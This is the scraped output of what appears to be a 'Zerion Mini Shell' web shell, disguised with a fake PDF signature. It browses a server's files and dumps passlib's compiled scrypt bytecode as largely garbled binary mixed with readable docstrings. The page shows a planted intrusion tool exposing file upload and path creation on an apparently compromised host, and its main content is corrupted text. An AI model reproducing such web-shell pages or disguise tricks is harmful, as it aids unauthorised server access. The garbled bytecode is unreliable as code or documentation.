%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/passlib/crypto/scrypt/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/passlib/crypto/scrypt/__pycache__/_builtin.cpython-39.pyc

a

f�Wc�"�@sRdZddlZddlZddlmZddlmZddlmZdgZ	Gdd�de
�ZdS)z<passlib.utils.scrypt._builtin -- scrypt() kdf in pure-python�N)�izip)�pbkdf2_hmac)�salsa20�ScryptEnginec@sheZdZdZdZdZdZdZdZdZ	dZ
dZdZe
dd��Zdd�Zdd	�Zd
d�Zdd
�Zdd�ZdS)ra
    helper class used to run scrypt kdf, see scrypt() for frontend

    .. warning::
        this class does NO validation of the input ranges or types.

        it's not intended to be used directly,
        but only as a backend for :func:`passlib.utils.scrypt.scrypt()`.
    rNcCs||||��|||�S)z-create engine & run scrypt() hash calculation)�run)�cls�secret�salt�n�r�p�keylen�r�B/usr/lib/python3.9/site-packages/passlib/crypto/scrypt/_builtin.py�execute2szScryptEngine.executecs�||_||_||_|d>|_|j||_|d>|_}|d>|_t�d�dksRJ�t�	dt
|�d�|_|dkrz|j|_
|dkr�t�d�}n.|d	ks�J�t�d��t�d
����fdd�}||_dS)
N����I�<�l����l����i��cs�|��|�d>BS)N� r)�X�Zig1Zig2rr�
integerifyUsz)ScryptEngine.__init__.<locals>.integerify)r
rr�
smix_bytes�iv_bytes�bmix_len�
bmix_half_len�struct�calcsize�Struct�str�bmix_struct�_bmix_1�bmix�operator�
itemgetterr)�selfr
rrrrrrr�__init__:s$



zScryptEngine.__init__csn|j}td||d|d��|j�|jdkr2���}n*|j�d����fdd�td|��D��}td||d|d�S)z�
        run scrypt kdf for specified secret, salt, and keylen

        .. note::

            * time cost is ``O(n * r * p)``
            * mem cost is ``O(n * r)``
        Zsha256r)�roundsr
�c3s"|]}��||���VqdS�Nr)�.0�offset��input�smixrrr�	<genexpr>rs�z#ScryptEngine.run.<locals>.<genexpr>r)rrr2rr�join�range)r)rr	r
r�outputrr0rr\s



�zScryptEngine.runcs�|j�|j}|j}|j�t|�|������fdd�}t|��}|j}�d}d}|�kr�|��|@}	tdd�t�||	��D��}
�|
��|d7}qR|j	��S)asrun SCrypt smix function on a single input block

        :arg input:
            byte string containing input data.
            interpreted as 32*r little endian 4 byte integers.

        :returns:
            byte string containing output data
            derived by mixing input using n & r parameters.

        .. note:: time & mem cost are both ``O(n * r)``
        c3s2d}|�kr.t��}|V�|��|d7}qdS)Nrr)�tuple)�iZlast�r&�bufferr
rr�vgen�s
zScryptEngine.smix.<locals>.vgenrrcss|]\}}||AVqdSr-r�r.�a�brrrr3�r,z$ScryptEngine.smix.<locals>.<genexpr>)
r&r$rr
�list�unpack�__getitem__r7r�pack)r)r1r$rr;�VZ
get_v_elemZn_maskr8�j�resultrr9rr2}s 	


zScryptEngine.smixcCs�|j}|dd�}t|�}d}||kr�|d}tdd�t||�D��|||�<}tdd�t||�D��|||||�<}|}qdS)a�
        block mixing function used by smix()
        uses salsa20/8 core to mix block contents.

        :arg source:
            source to read from.
            should be list of 32*r 4-byte integers
            (2*r salsa20 blocks).

        :arg target:
            target to write to.
            should be list with same size as source.
            the existing value of this buffer is ignored.

        .. warning::

            this operates *in place* on target,
            so source & target should NOT be same list.

        .. note::

            * time cost is ``O(r)`` -- loops 16*r times, salsa20() has ``O(1)`` cost.

            * memory cost is ``O(1)`` -- salsa20() uses 16 x uint4,
              all other operations done in-place.
        rNr�css|]\}}||AVqdSr-rr<rrrr3�r,z$ScryptEngine.bmix.<locals>.<genexpr>css|]\}}||AVqdSr-rr<rrrr3�r,)r�iterrr)r)�source�targetZhalf�tmpZsiterrDZjnrrrr&�s$,zScryptEngine.bmixcCsX|dd�}tdd�t|t|��D��|dd�<}tdd�t||�D��|dd�<dS)z0special bmix() method optimized for ``r=1`` caserFNcss|]\}}||AVqdSr-rr<rrrr3�r,z'ScryptEngine._bmix_1.<locals>.<genexpr>css|]\}}||AVqdSr-rr<rrrr3�r,)rrrG)r)rHrI�BrJrrrr%�s(zScryptEngine._bmix_1)�__name__�
__module__�__qualname__�__doc__r
rrrrrrr$r�classmethodrr*rr2r&r%rrrrrs"
"!C()rOr'r Zpasslib.utils.compatrZpasslib.crypto.digestrZpasslib.crypto.scrypt._salsar�__all__�objectrrrrr�<module>s�

Zerion Mini Shell 1.0